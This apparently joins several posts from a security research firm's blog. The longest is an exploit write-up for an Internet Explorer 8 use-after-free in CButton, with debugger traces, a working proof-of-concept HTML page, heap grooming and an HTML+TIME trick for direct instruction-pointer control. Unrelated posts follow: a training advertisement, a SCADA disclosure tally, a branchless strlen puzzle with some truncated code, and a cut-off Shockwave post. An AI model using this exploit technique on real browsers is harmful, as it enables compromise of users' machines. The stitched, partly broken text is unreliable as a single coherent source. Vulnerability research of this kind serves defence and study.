(4d8.398): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
1:014> g
ModLoad: 3cea0000 3d45e000   C:\WINDOWS\system32\mshtml.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:023> bp !mshtml + 0x129f0
1:023> bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g"
 2 e 3ceb29f0     0001 (0001)  1:**** mshtml!CDoc::operator new+0x13
1:023> sxe ld:jscript
1:023> g
Breakpoint 2 hit
eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023> ba w4 eax +  0x1A8
1:023> g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023> g
before get element a
before get element b
before create element q
before apply element e1(b) -> e2(q)
before appendChild create element button
Created CButton at 055a2fa8
Breakpoint 3 hit
eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8
eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CElement::SetDefaultElem+0x85:
3d07da88 5e              pop     esi
1:023> ub
mshtml!CElement::SetDefaultElem+0x72:
3d07da75 85c0            test    eax,eax
3d07da77 740f            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da79 6a01            push    1
3d07da7b 8bc7            mov     eax,edi
3d07da7d e8d5b7ebff      call    mshtml!CElement::IsVisible (3cf39257)
3d07da82 85c0            test    eax,eax
3d07da84 7402            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da86 893e            mov     dword ptr [esi],edi
1:023> kv
ChildEBP RetAddr  Args to Child              
0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85
0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb
0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3
0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a
0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f
0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1
0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c
0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39
1:023> dc edi L58/4
055a2fa8  3cf70d10 00000003 00000008 055a4fe8  ...<.........OZ.
055a2fb8  029e5e00 05584fb0 00000012 80096200  .^...OX......b..
055a2fc8  00000006 04c8cf28 3cf782e0 00000000  ....(...... dds edi L1
055a2fa8  3cf70d10 mshtml!CButton::`vftable'

It looks like the CElement::SetDefaultElem ‘forgets’ to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object.

Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the BinVul.com blogpost by @h4ckmp who came to mostly the same conclusions as I did.

Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code.


e0 = document.getElementById("a");

Get a reference to the form object

e1 = document.getElementById("b");

Get a reference to the dfn object

e2 = document.createElement("q");

Create a ‘Q’ element

e1.applyElement(e2);

Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFN

e1.appendChild(document.createElement('button'));

We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTON

e1.applyElement(e0);

We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTON

e2.outerText = "";

And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again.

e2.appendChild(document.createElement('body'));

This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn’t come up with an easy explanation.

Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don’t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue.

To test this I created the following POC

<!doctype html<
<html<
<head<
	<script<
		function helloWorld() {
				e_form = document.getElementById("formelm");
				e_div = document.getElementById("divelm");
				e_div.appendChild(document.createElement('button'))
				e_div.firstChild.applyElement(e_form);
				e_div.innerHTML = ""
				e_div.appendChild(document.createElement('body'));
				CollectGarbage();	
		}

	</script<
</head<
<div id="divelm"<</div<
<body onload="eval(helloWorld())"<
	<form id="formelm"<
	</form<
</body<
</html<

And yes, this causes the same problem. After running this through windbg with some log messages we get the following result

0:000> sxe ld:mshtml
0:000> g
1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:023> bp !mshtml + 0x129f0
1:023> g
Breakpoint 2 hit
eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023> ba w4 eax +  0x1A8 ".printf \"Just added the Default Element\";.echo;g"
1:023> sxe ld:jscript
1:023> g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023> g
before creating the button and adding it to the div element
Created CButton at 05748fa8
Just added the Default Element
before adding button to Form
before clearing out the div innerHTML
adding body element to the div
collecting garbage
Deleting CButton at 05748fa8
Done collecting garbage
(ca4.6b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05748fa8=????????

You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward

Exploitation

Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the Low Fragmentation Heap. This will make replacing the freed memory much more reliable because the LFH does not merge coalescent free blocks and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0×58 (see CButton::CreateElement) so all we need to do is create an allocation of that size and we will refill the freed memory space.
To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote Valasek: “The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.“

Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached.

We added some code to enable the LFH for the CButton element and the added code to replace the freed memory.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
			e_form = document.getElementById("formelm");
			e_div = document.getElementById("divelm");

			for(i =0; i < 20; i++) {
				document.createElement('button');
			}

			Math.atan2(0xbadc0de, "before creating the button and adding it to the div element")
			e_div.appendChild(document.createElement('button'))

			Math.atan2(0xbadc0de, "before adding button to Form")
			e_div.firstChild.applyElement(e_form);

			Math.atan2(0xbadc0de, "before clearing out the div innerHTML")
			e_div.innerHTML = ""

			Math.atan2(0xbadc0de, "adding body element to the div")
			e_div.appendChild(document.createElement('body'));
			Math.atan2(0xbadc0de, "collecting garbage")
			CollectGarbage();
			e_div.className = "\u2424\u2424exodusintel.com--------------------------";
			Math.atan2(0xbadc0de, "Done collecting garbage")			
	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<div id="divelm"></div>
	<form id="formelm">
	</form>
</body>
</html>

running this results in the following crash

(f90.bd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088
eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
3d086271 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:24242500=????????
1:025> dc edi
00235088  24242424 00780065 0064006f 00730075  $$$$e.x.o.d.u.s.
00235098  006e0069 00650074 002e006c 006f0063  i.n.t.e.l...c.o.
002350a8  002d006d 002d002d 002d002d 002d002d  m.-.-.-.-.-.-.-.
002350b8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350c8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350d8  002d002d 0000002d eaa7c6ac ff0c0100  -.-.-...........
002350e8  3cf74690 0021f728 002347f8 3cf77870  .F.<(.!..G#.px.<
002350f8  00000001 00000000 01000808 ffffffff  ................

Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don't need to force memory disclosure to bypass ASLR and we can rely on a module that doesn't opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn't apply to IE9 I dont mind dropping it here.

Internet Explorer 8 has support for HTML+TIME which is based on the Synchronized Multimedia Integration Language (SMIL) something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all.

For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn't work as expected.

<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
	<meta>
		<?IMPORT namespace="t" implementation="#default#time2">
	</meta>
.
.
.
    <t:ANIMATECOLOR id="myanim"/>
.
.
.

by setting the 'values' property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values.

animvalues = "\u4141\u4141"
while(animvalues.length < 0xDC) {
	animvalues += animvalues
}
for(i = 0; i < 21; i++) {
	animvalues += ";cyan";
}

Then we can set the values property to this string and voila, we control EIP directly

try {
	a = document.getElementById('myanim');
	a.values = animvalues;
}
catch(e) {}

Because the values are suposed to be legit colors you need to do this in a try-except construct so you don't throw an error and stop the execution of the script. Also, doing this will create some 'noise' with additional allocations being made, but nothing that isn't controllable.

Adding this we get the following POC:

<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
	<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
	function helloWorld() {
		e_form = document.getElementById("formelm");
		e_div = document.getElementById("divelm");
		animvalues = "\u4141\u4141"
		while(animvalues.length < 0xDC) {
			animvalues += animvalues
		}
		for(i = 0; i < 21; i++) {
			animvalues += ";cyan";
		}
		for(i =0; i < 20; i++) {
			document.createElement('button');
		}
		e_div.appendChild(document.createElement('button'))
		e_div.firstChild.applyElement(e_form);

		e_div.innerHTML = ""
		e_div.appendChild(document.createElement('body'));

		CollectGarbage();

		try {
			a = document.getElementById('myanim');
			a.values = animvalues;
		}
		catch(e) {}

	}

</script>
</head>
<body onload="eval(helloWorld())">
	<t:ANIMATECOLOR id="myanim"/>
	<div id="divelm"></div>
	<form id="formelm">
	</form>
</body>
</html>

Download the POC here.
Running this results in:

(fbc.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880
eip=41414141 esp=0162d798 ebp=0162d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
1:028> dc eax
001bb0f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb108  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb118  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb128  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb138  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb148  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb158  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb168  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
1:028> dc edi
00235880  001bb0f8 02367fc8 02367fe0 0018ec10  ......6...6.....
00235890  0019eff0 0019f008 0019f020 0019f038  ........ ...8...
002358a0  0019f050 0019f068 0019f080 0019f098  P...h...........
002358b0  0019f0b0 0019f0c8 0019f0e0 0019f0f8  ................
002358c0  0019f110 0019f128 0019f140 0019f158  ....(...@...X...
002358d0  0019f170 0019f188 eaa4d113 ff0c0100  p...............
002358e0  3cf74690 0021fac0 00234b90 3cf77870  .F.<..!..K#.p
1:028> dc poi(edi+10)
0019eff0  00790063 006e0061 50540000 302e312f  c.y.a.n...TP/1.0
0019f000  e88f2258 ff0e0120 00790063 006e0061  X".. ...c.y.a.n.
0019f010  6d690000 48656c70 e88f225b ff0e0130  ..impleH["..0...
0019f020  00790063 006e0061 0a0d0000 65746144  c.y.a.n.....Date
0019f030  e88f225e ff0e0164 00790063 006e0061  ^"..d...c.y.a.n.
0019f040  30200000 37353a31 e88f2251 ff0e0147  .. 01:57Q"..G...
0019f050  00790063 006e0061 70790000 74203a65  c.y.a.n...ype: t
0019f060  e88f2254 ff0e0168 00790063 006e0061  T"..h...c.y.a.n.

From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that.

Conclusion

This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn't require heapspray, but all in all this bug can be exploited quite reliably.
If you are interested in analyzing vulnerabilities and writing exploits for them you can take a look at our training, which will focus on IE9.
It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at info@exodusintel.com.

- Peter Vreugdenhil
Exodus Intelligence

We will also have Aaron Portnoy and Zef Cekaj, who have spent the last year contemplating the art that is reverse engineering and synthesizing what differentiates the successful vulnerability hunters from the bit flippers. They are excited to be giving their new Breaking Binary Applications class, covering browser plugins (and memory disclosure), enterprise server-side software (expect at least one un-patched remote Microsoft Exchange bug), the hilarity that is SCADA (or: how to get Slashdot’ed with only 6 hours of work), and more. Learn their field-tested techniques to discover 0-day and their processes for popping the elusive calculator.

Students will be required to take a blood oath swearing their agreement to be bound by the Exodus FrieNDA and not discuss the (currently) unpatched vulnerabilities we’ll be exploiting during the two courses.

…OK, maybe the blood oath was going a bit far, but seriously: no snitches (show some sympathy at least, these bugs are on death row).

The training classes will be hosted at the Exodus Intelligence office in sunny Austin, Texas during the week of February 18th. The benefit of hosting it at our office is that you’ll be able to interact with the whole Exodus team as well as enjoy a week of training followed by an authentic Texas BBQ party at a popular downtown bar hosted by our resident grillmaster Logan Brown (you may remember his name from the Ekoparty Texas vs Argentinian BBQ competition last year). Drinks and food will be included, of course.

Abstracts

Breaking Binary Applications

Aaron Portnoy and Zef Cekaj

Prerequisites:

• IDA Pro at least version 6.1 with a working IDAPython and PySide built by Hex-Rays on Windows (virtualized is acceptable)
• The ability to run VMware virtual machines (player or workstation will work)
• A working install of the IDA Toolbag plugin for IDA Pro
• A working knowledge of the Python programming language

This three day training is an extremely hands-on course intended to give the attendees realistic experience auditing closed-source applications for the purposes of vulnerability discovery and exploitation. We will cover the crucial methodologies we’ve used over the years to unearth flaws in server-side, client-side, SCADA products, browser plugins, media players, mail clients, and more.

The first day will be devoted to building the students’ arsenal of tools and techniques to enumerate software’s attack surface, determining where weak points that should be targeted exist, peeking under the hood to gain in-depth knowledge about how the software operates, and ultimately preparing to break it. Day one will also cover specific tools that can greatly improve the efficiency of a bug hunter. Most notably, we will cover our IDA Toolbag plugin and demonstrate how, through the power of IDAPython, a reverse engineer can automate many of the more tedious aspects of the bug hunting process.

The following two days will be entirely devoted to applying the aforementioned techniques against products that the Exodus team has found critical vulnerabilities in. Each target has been specifically chosen to impart upon the student a unique lesson about the bug hunting process.

If time permits we will walk the class through exploitation of one or more of the bugs they discovered. This will, of course, cover bypassing any of the exploitation mitigations that are present.

Browser Exploitation

Peter Vreugdenhil and Brandon Edwards

Prerequisites:

• IDA Pro at least version 6.1 with a working IDAPython and PySide built by Hex-Rays on Windows (virtualized is acceptable)
• The ability to run VMware virtual machines (player or workstation will work)
• A working install of the IDA Toolbag plugin for IDA Pro
• A working knowledge of the Python programming language

This two day class, taught by a former Pwn2Own winner and pioneer in the art of client-side vulnerability development, is a highly interactive, hands-on training delving into the intricacies of browser exploitation. This course starts by introducing the methods used to uncover some of the most impactful recent browser vulnerabilities, and then quickly moves into the processes of in-depth analysis and vulnerability comprehension, revealing the tools and techniques used by the Exodus team to transform crashes into reliable exploits, bypassing modern protections such as DEP and ASLR along the way.

Students will develop a working familiarity with the concepts presented through hands-on exercises, applying the course material to exploit modern vulnerabilities such as MS012-063. This course focuses on Internet Explorer, but students will leave equipped with a foundation of knowledge and insight applicable to exploiting any modern browser.

Schedule and Pricing

A limited number of student and group discounts are available. Please e-mail us at info@exodusintel.com for more information.

Breaking Binary Applications: February 18th-20th (3 days) – $3000 USD
Browser Exploitation: February 21st and 22nd (2 days) – $2000 USD

You may register on the Exodus website at: http://www.exodusintel.com/#2013.

Testimonials

Via E-Mail:

"I just wanted to take a moment to let you know that I thought the training you gave over the past three days was wonderful. I believe I learnt a lot from both of you, and truly appreciate the effort that you guys put in preparing the materials, finding the teaching targets, doing up the exploits beforehand, and everything else. I know for sure that there must have been much, much more that transpired behind the scene that you guys did that we, who simply sat there and enjoyed the fruits of your labour, would definitely be oblivious to :P So, thanks a bunch for that! It's truly appreciated!

I thought the best part of the training was two-fold: First, in just seeing how you do things, both in terms of the little "demo" reversing you gave, as well as in terms of the way you describe your approach and thought processes, not out-rightly but subtly, perhaps even unconsciously, that gave a tremendous insight into what I and my team don't do well, or can improve on. Those little nuggets of information obviously came from loads of experience, and it's something that I really value, and will be taking home :) The second bit is the part about automating reversing. To be honest I never really thought that reversing could be made so much quicker and easier, and most importantly, more precise ("cheating", you called it :P). Your sharing about automation techniques opened up a whole new dimension -- to think about, and to get started on."


Via Twitter:

"Great first day of Bug Hunting with @aaronportnoy and Zef. Eyes open farther; hope I can sleep!"

"Just attended "Bug Hunting and Analysis 0x65" by @aaronportnoy and @the_navs. If you want to discover Windows 0days, take this class."

"Epic day one of bug hunting. Great material and instruction. Looking forward to day two. @aaronportnoy"

"@aaronportnoy Today was an intense training day. The concepts and techniques are growing on me as time is passing by. You and Zef are great."


Contact

You can always e-mail info@exodusintel.com for any inquiries regarding our training classes or vulnerability intelligence feed offerings.

If you’ve been paying attention to the security industry for any length of time then you’re probably familiar with the non-disclosure vs responsible disclosure vs full disclosure stances researchers take with regard to vulnerabilities they discover. As the value of vulnerabilities has been steadily going up over the years, more and more individuals and organizations are aligning themselves with the non-disclosure crowd and not for the traditional reasons. These days there seem to be an increasing number of cases of individuals hiding behind non-disclosure for reasons that generally tend to end up revolving around them making more money than reputable outlets provide.

When I read that a new company out of Italy Malta called ReVuln has discovered vulnerabilities in SCADA software and decided not to inform the affected vendors, but rather sell the information privately to their customers, I was intrigued.

Here is some of the press coverage they received:

Security Firm Showcases Vulnerabilities in SCADA Software, Won’t Report Them to Vendors

ReVuln claims 0day vulnerabilities for SCADA systems

Security Firm ReVuln Showcases SCADA Zero-Days

ReVuln showcases vulnerabilities in SCADA software, but won’t report them to vendors

Exploit broker releases EXPLICIT VIDS of holes in industrial control kit

As ReVuln founder Luigi Auriemma is quoted as saying:

“ICS-CERT has just contacted us some minutes ago requesting more details but we don’t release information,” “[The vulnerabilities] are part of our portfolio for our customers so no public details will be released; they will remain private.”

For those of you who do not know, SCADA systems run things like power plants, airports, manufacturing facilities, and so on (read the wikipedia page for more info). While these may not be defined as “Internet infrastructure”, I would argue that they are even more crucial to the safety and security of the general populace (especially when you think about the national security implications of vulnerabilities in these systems).

On Thanksgiving day I had a morning’s worth of time to wait for a turkey to cook, so I decided to take a shot at finding as many SCADA 0day vulnerabilities as possible. As we at Exodus we responsibly report all vulnerabilities we deal with, my goal was to report any such findings for free to ICS-CERT, the group responsible for collaborating with SCADA vendors to ensure vulnerabilities are fixed.

Here’s a list of the vendors and types of vulnerabilities I found (23 in all):

Rockwell Automation

• 1 remote code execution vulnerability
• 1 denial of service vulnerabilty
• discovery that one piece of Rockwell software installs Adobe Reader 8 which is susceptible to an innumerable amount of remote code execution flaws

Schneider Electric

• 3 remote code execution vulnerabilities
• 1 denial of service vulnerability

Indusoft

• 1 denial of service vulnerability

RealFlex

• 8 denial of service vulnerabilities

Eaton Corporation

• 3 remote code execution vulnerabilities
• 2 denial of service vulnerabilities
• 1 arbitrary file download vulnerability
• 1 arbitrary file deletion vulnerability
• 1 arbitrary file upload/overwrite vulnerability

The most interesting thing about these bugs was how trivial they were to find. The first exploitable 0day took a mere 7 minutes to discover from the time the software was installed. For someone who has spent a lot of time auditing software used in the enterprise and consumer space, SCADA was absurdly simple in comparison. The most difficult part of finding SCADA vulnerabilities seems to be locating the software itself. I plan to put in a request to the ICS-CERT that they perhaps establish a repository of SCADA software for researchers like myself to audit (provided they agree to disclose the vulnerabilities, that is). Even a list of what software is of interest would be beneficial.

All of the vulnerabilities listed above will be responsibly disclosed to the ICS-CERT team just following the publication of this post.

Now, I realize I haven’t found nearly all the vulnerabilities in these products, but hopefully there is some overlap with those that were never going to end up in the hands of those able to fix them. I will probably take another (longer than one morning) shot at similar software sometime in the future, but for now it was just a nice way to pass the time.

Happy Thanksgiving.

–
Aaron
@aaronportnoy

One night during that week we were chatting with Rolf about random programming problems and he recalled the story of a past interview whereby he was asked to implement a strlen() function in C that, when compiled, would not contain any conditional branches. He didn’t pose the problem as a challenge but Brandon, Zef, and I all found it intriguing and took a shot at solving it. Leave it to Rolf Rolles to reverse the interview process itself…

Spoiler alert: what follows are our independently created solutions.

Brandon’s Solution:


#include <stdio.h>
#define f(b) ((-b)>>31)&1
typedef unsigned int (*funcptr)(unsigned int x);
funcptr functable[2];
unsigned char *p;
unsigned int done(unsigned int x)
{
    return x;
}
unsigned int counter(unsigned int x)
{
    return(functable[f(*(p+x+1))](x+1));
}
int  main(int argc, char *argv[])
    unsigned int len;
    p = (unsigned char *)argv[argc-1];
    functable[0] = (funcptr)&done;
    functable[1] = counter;
    len = functable[f(*p)](0);
    printf("len is %u\n", len);
    return 0;
}


Zef’s Solution:


/*
*
* strlen without conditional branch
* compiles with -Wall -ansi
*/

int main(int argc, char *argv[])
{
    if(argc > 1 ) printf("strlen(\"%s\") = %d\n", argv[1], _str_len(argv[1]));
    return 0;
}


Zef’s description:

“So, my immediate thought was to use function pointers to ‘conditionally’ execute code without a conditional branch. There are two possible states for each member of a string when performing a ‘strlen’-type operation. ‘Terminator’ and ‘Not Terminator’. In this case the ‘Terminator’ for a C-string is ‘NULL’ (0×00). This of course is the only value with 0 bits set; by masking each bit in the 8 bit value and shifting to the lsb then combining the values with a ‘|’ operation, a binary state is created allowing for the indepedent execution of the two defined states ‘Terminator’ and ‘Not Terminator’”.

Aaron’s Solution:

As I admittedly suck at C, I approached the problem in straight assembly (I know, that’s cheating. And yes, this could be achieved with a rep scasb, but that’s just too easy). However, I was able to solve the problem in 27 bytes:


[BITS 32]

_continue:
    mov al, [esi]
    add al, 0xFF
    salc
    inc al
    lea ecx, [0x8048097+eax*4]
    jmp ecx
inc ebx
inc esi
jmp _continue
int 0x80


The three pops that occur within _start are to get access to argv[1] (the string to be measured, provided on the command line). The last pop esi puts a pointer to the string into the esi register.

The mov al, [esi] grabs a single byte off the string. Then, the add al, 0xFF is used to determine whether the byte is NULL or not. If the value is non-NULL, the add to the 8-bit register al will set the Carry flag. If it is NULL, it will not set the CF.

The next instruction is actually considered undocumented (even objdump shows the mnemonic as ‘bad’). What the salc instruction does is sets the al register to 0xFF if the Carry flag is set, otherwise it sets it to 0×00. This is the method I used to implement a binary state to determine if the character is NULL or not.

The inc al instruction then increments al, which was either 0xFF or 0×00. After the inc it will either be 0×00 or 0×01.

The lea ecx, [0x8048097+eax*4] instruction loads into ecx either the address 0×8048097 or 0x804809b. These addresses are significant and can be observed by objdump’ing the assembled binary:


$ objdump -d strlen_no_conditionals -M intel

08048087 :
 8048087:       8a 06                   mov    al,BYTE PTR [esi]
 8048089:       04 ff                   add    al,0xff
 804808b:       d6                      (bad)
 804808c:       fe c0                   inc    al
 804808e:       8d 0c 85 97 80 04 08    lea    ecx,[eax*4+0x8048097]
 8048095:       ff e1                   jmp    ecx
 8048097:       43                      inc    ebx
 8048098:       46                      inc    esi
 8048099:       eb ec                   jmp    8048087 
 804809b:       cd 80                   int    0x80
$


So, if the character is not NULL, the code will jmp ecx to 0×8048097 which increments the string length counter (ebx) and increments the string pointer (esi) and then branches unconditionally to _continue.

If the value was NULL, the jmp ecx will land directly at the int 0×80. As the size of the inc ebx and inc esi and jmp _continue is exactly 4 bytes, the lea instruction very conveniently can load either the address of the inc ebx or directly at the int 0×80, thus removing the need for any NOP-like instructions.

The last convenient optimization to note is that the int 0×80 will execute the syscall specified by the eax register. Well, because the result of the add/salc/inc condition will set eax to 1 only when a NULL is found, the int 0×80 will execute syscall #1 which on Linux is exit(). Additionally, the exit code is specified by the ebx register. That is why I used the ebx register as my counter to hold the string length. So, upon execution of the interrupt, the exit code will contain the length of the string as can be observed by running the assembled binary and inspecting the return value:


$ nasm strlen_no_conditionals.asm -f elf -o a.o
$ ld -o strlen_no_conditionals a.o
$ ./strlen_no_conditionals "ExodusIntel" ; echo $?
11
$ ./strlen_no_conditionals "should return 16" ; echo $?
16
$


Rolf’s Solution:

“Basically, the fundamental problem to overcome with this challenge is to ‘make a decision’ — that is to say, decide when to terminate the iteration upon reaching a NULL character — without using an explicit jcc-style conditional branch. A few minutes’ reflection upon this problem yields that we could use recursion into a function pointer table with 256 entries, where 255 of the entries increased some counter variable, and the entry at 0 terminates the procedure and returns the counter. In doing so, we have replaced all conditional jumps with one indexed, switch jump. Some further reflection provides the reduction of the table size from 256 entries down to two.”


typedef int (*ctr)(char *);
int func(char *);
int func_x(char *c) { return 1+func(c); }
int func_0(char *c) { return 0; }
ctr table[2] = { &func_0, &func_x };
int func(char *c) { return table[!!*c](c+1); }


If you’ve come up with an interesting approach, we’d love to see it. Feel free to leave a comment or some such.

–
Aaron Portnoy
@aaronportnoy

These days it seems there is quite a lot of research being done on various ways to disclose the contents of an application’s memory. With the increasing prevalence of exploit mitigations intended to randomize the location of data in a process, the value of such memory disclosures is becoming very apparent.

In this post I’d like to share a very trite example of an information leak I ran across while poking around with Adobe’s Shockwave Player.

Adobe Shockwave is a piece of software implemented as a browser plug-in that Adobe claims runs on over 450 million desktop systems. The Player renders Adobe Director files which can contain 3D media, audio, video, and other web content. Additionally, Shockwave contains an interpreter for the Lingo programming language which allows a developer to embed scripting code to perform a multitude of tasks via the Lingo API.

Lingo supports type introspection and this functionality has many legitimate uses, but for the purposes of this blog post I’ll demonstrate a potentially nasty side effect that can result.

